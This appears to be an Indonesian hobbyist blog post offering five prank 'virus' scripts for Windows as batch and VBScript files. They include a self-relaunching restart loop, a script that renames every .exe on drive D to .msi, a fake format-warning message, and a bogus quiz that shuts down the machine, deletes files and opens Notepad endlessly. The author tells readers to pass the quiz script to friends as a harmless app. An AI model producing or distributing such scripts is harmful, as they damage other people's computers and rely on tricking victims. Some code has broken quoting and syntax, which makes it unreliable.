Prolink Coder

---------------------------------------------------------------------------------------------
1. virus restar komputer

#echo off,

start virus.bat,
shutdown -r

[save dengan extensi .bat]
---------------------------------------------------------------------------------------------
2. virus merubah  format. jika ingin file lain yang di ganti ! tinggal ganti aja kata" (.Pattern = "\.exe$") dan (File.Name = RegExp.Replace(File.Name, ".msi")) yang di garis bawahi..

Dim Drive, Root, fname
Drive = "D"
Set Root = CreateObject("Scripting.FileSystemObject"). _
GetDrive(Drive).RootFolder
Set fname = New RegExp
With fname
.Pattern = "\.exe$"
.IgnoreCase = True
.Global = False
.Multiline = False
End With
Call Rename(Root, fname)
Sub Rename(Folder, RegExp)
Dim SubFolder, File
For Each File in Folder.Files
If RegExp.Test(File.Name) Then
File.Name = RegExp.Replace(File.Name, ".msi")
End If
Next
For Each SubFolder In Folder.SubFolders
Call Rename(SubFolder, RegExp)
Next
End Sub

[save dengan extensi .vbs]
---------------------------------------------------------------------------------------------
3. virus menyembunyikan folder

@echo off

:mulai
color fc
title http://carabuatakunpairplay.blogspot.com

cls

echo.
echo.
echo ===============================
echo GGGG G GGGG GGG GG G
echo G G G G G G G G G
echo G GG G G G GGG GGGG G
echo G G G G G G G G G G
echo GGGG GGGG GGGG GGG G G GGGG
echo ===============================
echo.
echo [1]. [Menyembunyikan Folder]
echo [2]. [Menampilkan Folder]
echo [3]. [Visit Me:http://carabuatakunpairplay.blogspot.com]
echo [0]. [Keluar]
echo.
echo.
set /p a=Pilih [1/2/3/0]:

if "%a%"=="1" goto sembunyi
if "%a%"=="2" goto tampil
if "%a%"=="3" start http://carabuatakunpairplay.blogspot.com
if "%a%"=="0" goto keluar

goto mulai

:sembunyi
attrib +s +h C:\Folder
echo.
pause
goto mulai

:tampil
attrib -s -h C:\Folder
echo.
pause
goto mulai

:keluar
msg * http://carabuatakunpairplay.blogspot.com
echo selesai.

[save dengan extensi .vbs]
---------------------------------------------------------------------------------------------
4. virus pesan notepade

WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateObject(”WScript.Shell”)
WshShell.Run “notepad”
WScript.Sleep 100
WshShell.AppActivate “Notepad”
WScript.Sleep 500
WshShell.SendKeys “virus infected”
WScript.Sleep 500
WshShell.SendKeys “please format drive”
WScript.Sleep 500
WshShell.SendKeys “click ok to format”
WScript.Sleep 500
WshShell.SendKeys “please wait . . .”
WScript.Sleep 500
WshShell.SendKeys “3”
WScript.Sleep 500
WshShell.SendKeys “2”
WScript.Sleep 500
WshShell.SendKeys “1”
WScript.Sleep 500
WshShell.SendKeys “ERROR”
WScript.Sleep 500
WshShell.SendKeys “format failed”
WScript.Sleep 500
WshShell.SendKeys “check system32”
WScript.Sleep 500
WshShell.SendKeys ”ok”
WScript.Sleep 500
WshShell.SendKeys “failed”
WScript.Sleep 500
WshShell.SendKeys “ERROR“

[save dengan extensi .vbs]
---------------------------------------------------------------------------------------------
5. virus notepade quis

@echo off
    title quiz hari ini :)
    :menu
    cls
    echo jika kamu kena virus apa yang kamu lakukan
    pause
    echo pilih yang mana:
    echo 1. matiin computer
    echo 2. format aja
    echo 3. bingung ahh
    set input=nothing
    set /p input=Choice:
    if %input%==1 shutdown -s -t 30
    if %input%==2 del c:\xxx
    if %input%==3 @ECHO off
    msg * muka lo jelek
    msg * ngaca dulu gih
    msg * hayo lo,cpu lu gw acak2
    msg * ud install ulang aja
    msg * biar masalah nya kelar
    @ECHO off
    :top
    START %SystemRoot%\system32\notepad.exe
    GOTO top

nah script diatas save jadi quiz.bat kasih ke temen..
pura2 aj bilang ad aplikasi kuis...
ket di atas :
kalo pilih 1.otomatis matiin computer
2.format file
3.sama aj kayak pilihan 1

[save dengan extensi .bat]
---------------------------------------------------------------------------------------------